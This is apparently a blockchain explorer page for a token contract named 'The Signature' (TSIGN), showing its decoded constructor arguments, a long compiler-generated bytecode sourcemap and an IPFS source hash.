8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 00000000000000000000000075e10ddf46e4e090d5557f62a630fcaa4d8387b4
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 546865205369676e617475726500000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 545349474e000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8784:4297:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9616:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11696:137;;;;;;:::i;:::-;;:::i;:::-;;;1798:14:1;;1791:22;1773:41;;1761:2;1746:18;11696:137:0;1728:92:1;10364:86:0;10435:7;;10364:86;;;4390:25:1;;;4378:2;4363:18;10364:86:0;4345:76:1;11897:398:0;;;;;;:::i;:::-;;:::i;10107:85::-;10175:9;;;;10107:85;;9990:28;;;;;-1:-1:-1;;;;;9990:28:0;;;;;;-1:-1:-1;;;;;1589:32:1;;;1571:51;;1559:2;1544:18;9990:28:0;1526:102:1;10504:110:0;;;;;;:::i;:::-;-1:-1:-1;;;;;10588:18:0;10561:7;10588:18;;;:9;:18;;;;;;;10504:110;2642:94;;;:::i;:::-;;1991:87;2037:7;2064:6;-1:-1:-1;;;;;2064:6:0;1991:87;;9835;;;:::i;12882:196::-;;;;;;:::i;:::-;;:::i;12303:211::-;;;;;;:::i;:::-;;:::i;9502:19::-;;;;;;10622:134;;;;;;:::i;:::-;-1:-1:-1;;;;;10721:18:0;;;10694:7;10721:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10622:134;2891:192;;;;;;:::i;:::-;;:::i;10025:32::-;;;;;-1:-1:-1;;;;;10025:32:0;;;9616:83;9653:13;9686:5;9679:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9616:83;:::o;11696:137::-;11764:4;11788:37;11797:10;11809:7;11818:6;11788:8;:37::i;:::-;11781:44;;11696:137;;;;;:::o;11897:398::-;12022:4;12056:1;12047:6;:10;12039:64;;;;-1:-1:-1;;;12039:64:0;;3631:2:1;12039:64:0;;;3613:21:1;3670:2;3650:18;;;3643:30;3709:34;3689:18;;;3682:62;-1:-1:-1;;;3760:18:1;;;3753:39;3809:19;;12039:64:0;;;;;;;;;12114:34;12122:6;12130:9;12141:6;12114:7;:34::i;:::-;12181:9;-1:-1:-1;;;;;12164:35:0;12173:6;-1:-1:-1;;;;;12164:35:0;;12192:6;12164:35;;;;4390:25:1;;4378:2;4363:18;;4345:76;12164:35:0;;;;;;;;-1:-1:-1;;;;;12246:19:0;;;;;;:11;:19;;;;;;;;12234:10;12246:31;;;;;;;;;12217:70;;12226:6;;12246:40;;12280:6;;12246:40;:::i;:::-;12217:8;:70::i;:::-;12210:77;11897:398;-1:-1:-1;;;;11897:398:0:o;2642:94::-;2037:7;2064:6;-1:-1:-1;;;;;2064:6:0;890:10;2211:23;2203:68;;;;-1:-1:-1;;;2203:68:0;;;;;;;:::i;:::-;2707:21:::1;2725:1;2707:9;:21::i;:::-;2642:94::o:0;9835:87::-;9874:13;9907:7;9900:14;;;;;:::i;12882:196::-;2037:7;2064:6;-1:-1:-1;;;;;2064:6:0;890:10;2211:23;2203:68;;;;-1:-1:-1;;;2203:68:0;;;;;;;:::i;:::-;12977:21:::1;13017:7;2037::::0;2064:6;-1:-1:-1;;;;;2064:6:0;;1991:87;13017:7:::1;-1:-1:-1::0;;;;;13009:25:0::1;:61;13066:3;13035:28;13047:16:::0;13035:9;:28:::1;:::i;:::-;:34;;;;:::i;:::-;13009:61;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12946:132;12882:196:::0;:::o;12303:211::-;12374:4;12391:38;12399:10;12411:9;12422:6;12391:7;:38::i;:::-;12445:39;;4390:25:1;;;-1:-1:-1;;;;;12445:39:0;;;12454:10;;12445:39;;4378:2:1;4363:18;12445:39:0;;;;;;;-1:-1:-1;12502:4:0;12303:211;;;;:::o;2891:192::-;2037:7;2064:6;-1:-1:-1;;;;;2064:6:0;890:10;2211:23;2203:68;;;;-1:-1:-1;;;2203:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2980:22:0;::::1;2972:73;;;::::0;-1:-1:-1;;;2972:73:0;;2863:2:1;2972:73:0::1;::::0;::::1;2845:21:1::0;2902:2;2882:18;;;2875:30;2941:34;2921:18;;;2914:62;-1:-1:-1;;;2992:18:1;;;2985:36;3038:19;;2972:73:0::1;2835:228:1::0;2972:73:0::1;3056:19;3066:8;3056:9;:19::i;:::-;2891:192:::0;:::o;12522:352::-;12639:4;-1:-1:-1;;;;;12664:19:0;;;;;;:44;;-1:-1:-1;;;;;;12687:21:0;;;;12664:44;12656:93;;;;-1:-1:-1;;;12656:93:0;;4041:2:1;12656:93:0;;;4023:21:1;4080:2;4060:18;;;4053:30;4119:34;4099:18;;;4092:62;-1:-1:-1;;;4170:18:1;;;4163:34;4214:19;;12656:93:0;4013:226:1;12656:93:0;-1:-1:-1;;;;;12760:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12812:32;;4390:25:1;;;12812:32:0;;4363:18:1;12812:32:0;;;;;;;-1:-1:-1;12862:4:0;12522:352;;;;;:::o;10764:873::-;10885:12;10900:8;10909:1;10900:11;;;;;;;;:::i;:::-;;;;;;;;;;;;;10936:13;;10900:11;10987:4;-1:-1:-1;;;;;10936:24:0;;;11008:20;;;:11;:20;;;;;;;;10900:11;;;;-1:-1:-1;10936:13:0;;:24;;;;10987:4;11008:25;:48;;;;-1:-1:-1;;;;;;11037:15:0;;11055:1;11037:15;;;:6;:15;;;;;;:19;;11008:48;:59;;;;;11061:6;11060:7;11008:59;11004:208;;;-1:-1:-1;;;;;11084:20:0;;;;;;:11;:20;;;;;:29;;11108:5;;11084:20;:29;;11108:5;;11084:29;:::i;:::-;;;;-1:-1:-1;;11155:9:0;;11150:14;;11155:9;;11150:2;:14;:::i;:::-;11145:20;;:2;:20;:::i;:::-;11141:24;;:1;:24;:::i;:::-;11132:6;:33;11128:72;;;11191:9;11199:1;11191:5;:9;:::i;:::-;-1:-1:-1;;;;;11167:20:0;;;;;;:11;:20;;;;;:33;;:20;;;:33;;;;;:::i;:::-;;;;-1:-1:-1;;11128:72:0;11238:8;11224;11233:1;11224:11;;;;;;;;:::i;:::-;;;;;;;;;;;;;:22;;-1:-1:-1;;;;;;11224:22:0;-1:-1:-1;;;;;11224:22:0;;;;;;11263:20;;;;;:11;:20;;;;;;;:24;;;;:39;;-1:-1:-1;11291:11:0;;11263:39;11259:102;;;-1:-1:-1;;;;;11319:21:0;;;;;;:11;:21;;;;;:30;;11344:5;;11319:21;:30;;11344:5;;11319:30;:::i;:::-;;;;-1:-1:-1;;11259:102:0;11389:9;:5;11397:1;11389:9;:::i;:::-;-1:-1:-1;;;;;11373:12:0;;;;;;:6;:12;;;;;:25;;:12;;;:25;;;;;:::i;:::-;;;;-1:-1:-1;;11442:4:0;;11411:11;;11426:12;11435:3;11426:6;:12;:::i;:::-;11425:21;;;;:::i;:::-;11411:35;-1:-1:-1;11457:13:0;11411:35;11457:13;;:::i;:::-;-1:-1:-1;;;;;11481:18:0;;;;;;:9;:18;;;;;:25;;11457:13;;-1:-1:-1;11503:3:0;;11481:18;;;:25;;11503:3;;11481:25;:::i;:::-;;;;-1:-1:-1;;11535:4:0;11517:24;;;;:9;:24;;;;;:31;;11545:3;;11517:24;:31;;11545:3;;11517:31;:::i;:::-;;;;-1:-1:-1;;;;;;;11561:18:0;;;;;;:9;:18;;;;;:28;;11583:6;;11561:18;:28;;11583:6;;11561:28;:::i;:::-;;;;-1:-1:-1;;;;;;;11600:19:0;;;;;;:9;:19;;;;;:29;;11623:6;;11600:19;:29;;11623:6;;11600:29;:::i;:::-;;;;-1:-1:-1;;;;;;;;;10764:873:0:o;3091:173::-;3147:16;3166:6;;-1:-1:-1;;;;;3183:17:0;;;-1:-1:-1;;;;;;3183:17:0;;;;;;3216:40;;3166:6;;;;;;;3216:40;;3147:16;3216:40;3136:128;3091:173;:::o;14::1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:2;;177:1;174;167:12;111:2;63:124;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:2;;;320:1;317;310:12;272:2;343:29;362:9;343:29;:::i;383:260::-;451:6;459;512:2;500:9;491:7;487:23;483:32;480:2;;;528:1;525;518:12;480:2;551:29;570:9;551:29;:::i;:::-;541:39;;599:38;633:2;622:9;618:18;599:38;:::i;:::-;589:48;;470:173;;;;;:::o;648:328::-;725:6;733;741;794:2;782:9;773:7;769:23;765:32;762:2;;;810:1;807;800:12;762:2;833:29;852:9;833:29;:::i;:::-;823:39;;881:38;915:2;904:9;900:18;881:38;:::i;:::-;871:48;;966:2;955:9;951:18;938:32;928:42;;752:224;;;;;:::o;981:254::-;1049:6;1057;1110:2;1098:9;1089:7;1085:23;1081:32;1078:2;;;1126:1;1123;1116:12;1078:2;1149:29;1168:9;1149:29;:::i;:::-;1139:39;1225:2;1210:18;;;;1197:32;;-1:-1:-1;;;1068:167:1:o;1240:180::-;1299:6;1352:2;1340:9;1331:7;1327:23;1323:32;1320:2;;;1368:1;1365;1358:12;1320:2;-1:-1:-1;1391:23:1;;1310:110;-1:-1:-1;1310:110:1:o;2059:597::-;2171:4;2200:2;2229;2218:9;2211:21;2261:6;2255:13;2304:6;2299:2;2288:9;2284:18;2277:34;2329:1;2339:140;2353:6;2350:1;2347:13;2339:140;;;2448:14;;;2444:23;;2438:30;2414:17;;;2433:2;2410:26;2403:66;2368:10;;2339:140;;;2497:6;2494:1;2491:13;2488:2;;;2567:1;2562:2;2553:6;2542:9;2538:22;2534:31;2527:42;2488:2;-1:-1:-1;2640:2:1;2619:15;-1:-1:-1;;2615:29:1;2600:45;;;;2647:2;2596:54;;2180:476;-1:-1:-1;;;2180:476:1:o;3068:356::-;3270:2;3252:21;;;3289:18;;;3282:30;3348:34;3343:2;3328:18;;3321:62;3415:2;3400:18;;3242:182::o;4426:128::-;4466:3;4497:1;4493:6;4490:1;4487:13;4484:2;;;4503:18;;:::i;:::-;-1:-1:-1;4539:9:1;;4474:80::o;4559:204::-;4597:3;4633:4;4630:1;4626:12;4665:4;4662:1;4658:12;4700:3;4694:4;4690:14;4685:3;4682:23;4679:2;;;4708:18;;:::i;:::-;4744:13;;4605:158;-1:-1:-1;;;4605:158:1:o;4768:217::-;4808:1;4834;4824:2;;4878:10;4873:3;4869:20;4866:1;4859:31;4913:4;4910:1;4903:15;4941:4;4938:1;4931:15;4824:2;-1:-1:-1;4970:9:1;;4814:171::o;4990:422::-;5079:1;5122:5;5079:1;5136:270;5157:7;5147:8;5144:21;5136:270;;;5216:4;5212:1;5208:6;5204:17;5198:4;5195:27;5192:2;;;5225:18;;:::i;:::-;5275:7;5265:8;5261:22;5258:2;;;5295:16;;;;5258:2;5374:22;;;;5334:15;;;;5136:270;;;5140:3;5054:358;;;;;:::o;5417:140::-;5475:5;5504:47;5545:4;5535:8;5531:19;5525:4;5611:5;5641:8;5631:2;;-1:-1:-1;5682:1:1;5696:5;;5631:2;5730:4;5720:2;;-1:-1:-1;5767:1:1;5781:5;;5720:2;5812:4;5830:1;5825:59;;;;5898:1;5893:130;;;;5805:218;;5825:59;5855:1;5846:10;;5869:5;;;5893:130;5930:3;5920:8;5917:17;5914:2;;;5937:18;;:::i;:::-;-1:-1:-1;;5993:1:1;5979:16;;6008:5;;5805:218;;6107:2;6097:8;6094:16;6088:3;6082:4;6079:13;6075:36;6069:2;6059:8;6056:16;6051:2;6045:4;6042:12;6038:35;6035:77;6032:2;;;-1:-1:-1;6144:19:1;;;6176:5;;6032:2;6223:34;6248:8;6242:4;6223:34;:::i;:::-;6293:6;6289:1;6285:6;6281:19;6272:7;6269:32;6266:2;;;6304:18;;:::i;:::-;6342:20;;5621:747;-1:-1:-1;;;5621:747:1:o;6373:168::-;6413:7;6479:1;6475;6471:6;6467:14;6464:1;6461:21;6456:1;6449:9;6442:17;6438:45;6435:2;;;6486:18;;:::i;:::-;-1:-1:-1;6526:9:1;;6425:116::o;6546:125::-;6586:4;6614:1;6611;6608:8;6605:2;;;6619:18;;:::i;:::-;-1:-1:-1;6656:9:1;;6595:76::o;6676:380::-;6755:1;6751:12;;;;6798;;;6819:2;;6873:4;6865:6;6861:17;6851:27;;6819:2;6926;6918:6;6915:14;6895:18;6892:38;6889:2;;;6972:10;6967:3;6963:20;6960:1;6953:31;7007:4;7004:1;6997:15;7035:4;7032:1;7025:15;6889:2;;6731:325;;;:::o;7061:127::-;7122:10;7117:3;7113:20;7110:1;7103:31;7153:4;7150:1;7143:15;7177:4;7174:1;7167:15;7193:127;7254:10;7249:3;7245:20;7242:1;7235:31;7285:4;7282:1;7275:15;7309:4;7306:1;7299:15

Swarm Source

ipfs://fcdf6cbe4ca5fe7a6a61a5b326e642e21da6c7d005d3478ff8b5f105b085005b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.